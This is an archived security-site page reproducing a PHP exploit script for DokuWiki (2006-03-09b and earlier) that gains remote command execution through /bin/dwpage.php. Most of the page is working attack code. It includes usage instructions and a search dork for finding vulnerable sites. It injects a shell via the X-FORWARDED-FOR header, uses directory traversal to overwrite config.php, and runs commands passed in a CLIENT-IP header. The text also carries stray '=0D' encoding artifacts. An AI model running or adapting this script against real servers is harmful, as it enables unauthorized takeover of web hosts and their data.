Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: Wiki, Collaborationware :: b06-4624.htm

DokuWiki <= 2006-03-09brel /bin/dwpage.php remote commands execution



DokuWiki <= 2006-03-09brel /bin/dwpage.php remote commands execution
DokuWiki <= 2006-03-09brel /bin/dwpage.php remote commands execution



#!/usr/bin/php -q -d short_open_tag=on=0D
rgod@autistici.org=0D 
site: http://retrogod.altervista.org=0D 
dork: "Driven by DokuWiki"=0D
--------------------------------------------------------------------------------=0D
');=0D
/*=0D
works with register_argc_argv = On=0D
*/=0D
if ($argc<4) {=0D
print_r('=0D
--------------------------------------------------------------------------------=0D
Usage: php '.$argv[0].' host path cmd OPTIONS=0D
host:      target server (ip/hostname)=0D
path:      path to dokuwiki=0D
cmd:       a shell command=0D
Options:=0D
 -p[port]:    specify a port other than 80=0D
 -P[ip:port]: specify a proxy=0D
Example:=0D
php '.$argv[0].' localhost /wiki/ ls -la -P1.1.1.1:80=0D
php '.$argv[0].' localhost /wiki/ ls -la -p81=0D
--------------------------------------------------------------------------------=0D
');=0D
die;=0D
}=0D
/* software site: http://wiki.splitbrain.org/wiki:dokuwiki=0D 
=0D
   there are some shell scripts in /bin folder and there is no .htaccess to=0D
   protect it: most dangerous one is dwpage.php, if register_argc_argv = On=0D
   it allows to copy/move files among folders because of $TARGET_FN var=0D
   directory traversal, also you can inject a shell by main doku.php script=0D
   sending a malicious X-FORWARDED-FOR http header (but you could do the same=0D
   uploading some file in /data/media folder through /lib/exe/media.php...,=0D
   I choosed the first solution)=0D
=0D
   also, I noticed, you can disclose php configuration by=0D
   setting an http header like this calling the main doku.php=0D
   script:=0D
=0D
   X-DOKUWIKI-DO: debug=0D
=0D
   (debug feature is enabled by default...)=0D
*/=0D
=0D
error_reporting(0);=0D
ini_set("max_execution_time",0);=0D
ini_set("default_socket_timeout",5);=0D
=0D
function quick_dump($string)=0D
{=0D
  $result='';$exa='';$cont=0;=0D
  for ($i=0; $i<=strlen($string)-1; $i++)=0D
  {=0D
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))=0D
   {$result.="  .";}=0D
   else=0D
   {$result.="  ".$string[$i];}=0D
   if (strlen(dechex(ord($string[$i])))==2)=0D
   {$exa.=" ".dechex(ord($string[$i]));}=0D
   else=0D
   {$exa.=" 0".dechex(ord($string[$i]));}=0D
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}=0D
  }=0D
 return $exa."\r\n".$result;=0D
}=0D
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';=0D
function sendpacketii($packet)=0D
{=0D
  global $proxy, $host, $port, $html, $proxy_regex;=0D
  if ($proxy=='') {=0D
    $ock=fsockopen(gethostbyname($host),$port);=0D
    if (!$ock) {=0D
      echo 'No response from '.$host.':'.$port; die;=0D
    }=0D
  }=0D
  else {=0D
   $c = preg_match($proxy_regex,$proxy);=0D
    if (!$c) {=0D
      echo 'Not a valid proxy...';die;=0D
    }=0D
    $parts=explode(':',$proxy);=0D
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";=0D
    $ock=fsockopen($parts[0],$parts[1]);=0D
    if (!$ock) {=0D
      echo 'No response from proxy...';die;=0D
   }=0D
  }=0D
  fputs($ock,$packet);=0D
  if ($proxy=='') {=0D
    $html='';=0D
    while (!feof($ock)) {=0D
      $html.=fgets($ock);=0D
    }=0D
  }=0D
  else {=0D
    $html='';=0D
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {=0D
      $html.=fread($ock,1);=0D
    }=0D
  }=0D
  fclose($ock);=0D
  #debug=0D
  #echo "\r\n".$html;=0D
}=0D
=0D
$host=$argv[1];=0D
$path=$argv[2];=0D
$cmd="";=0D
$port=80;=0D
$proxy="";=0D
for ($i=3; $i<$argc; $i++){=0D
$temp=$argv[$i][0].$argv[$i][1];=0D
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}=0D
if ($temp=="-p")=0D
{=0D
  $port=str_replace("-p","",$argv[$i]);=0D
}=0D
if ($temp=="-P")=0D
{=0D
  $proxy=str_replace("-P","",$argv[$i]);=0D
}=0D
}=0D
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}=0D
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}=0D 
=0D
//create /data/pages/suntzu.txt.lock and inject the shell code=0D
$data="do=edit&rev=&id=suntzu";=0D
$packet="POST ".$p."doku.php HTTP/1.0\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="X-FORWARDED-FOR: \r\n";=0D
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";=0D
$packet.="Content-Length: ".strlen($data)."\r\n";=0D
$packet.="Connection: Close\r\n\r\n";=0D
$packet.=$data;=0D
sendpacketii($packet);=0D
sleep(1);=0D
=0D
//copy /data/pages/suntzu.txt.lock to /data/pages/wiki/suntzu.txt=0D
$packet="GET ".$p."bin/dwpage.php?-m+\"suntzu\"+commit+../data/pages/suntzu.txt.lock+wiki:suntzu HTTP/1.0\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Connection: Close\r\n\r\n";=0D
sendpacketii($packet);=0D
sleep(1);=0D
=0D
//copy /data/pages/wiki/suntzu.txt to config.php inside main folder=0D
$packet="GET ".$p."bin/dwpage.php?-m+\"suntzu\"+checkout+wiki:suntzu+../config.php HTTP/1.0\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Connection: Close\r\n\r\n";=0D
sendpacketii($packet);=0D
sleep(1);=0D
=0D
//launch commands...=0D
$packet="GET ".$p."config.php HTTP/1.0\r\n";=0D
$packet.="CLIENT-IP: $cmd\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Connection: Close\r\n\r\n";=0D
sendpacketii($packet);=0D
if (strstr($html,"my_delim")){echo "exploit succeeded...\r\n";$temp=explode("my_delim",$html);die($temp[1]);}=0D
else { echo "exploit failed...\r\n";}=0D
?>=0D
=0D
original url: http://retrogod.altervista.org/dokuwiki_2006-03-09b_cmd.html=0D 
=0D


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH